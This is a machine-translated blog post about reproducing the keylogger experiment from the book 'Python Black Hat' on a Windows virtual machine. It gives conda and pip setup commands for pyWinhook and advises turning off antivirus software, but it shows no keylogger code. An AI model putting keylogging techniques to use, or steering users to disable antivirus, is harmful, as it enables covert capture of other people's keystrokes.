Recently, I received a network security book presented by the electronic industry press 《python Black hat 》, There are a total of 24 An experiment , Today, I will repeat the 19 An experiment （ Keyboard record ）, My test environment is windows virtual machine +conda development environment +python3.7. This experiment is very interesting , stay windows In the environment , It can record the keyboard records under different processes , For example, I am in notepad Knock on the Notepad “ Hello! ”, The program will get “ninhao” Such Pinyin , Such programs are usually blocked by anti-virus software , So please close the anti-virus software before doing the experiment ～
Here the experimental environment is chosen python3.7, This makes it almost impossible to change the code , Otherwise, the code may be incompatible , You need to modify it manually ～
conda create -n py3.7hack python=3.7
conda activate py3.7hack
# conda install -c conda-forge pywinhook （python3.6 Environmental Science ）
pip install pyWinhook
The experimental demonstration results are as follows ：
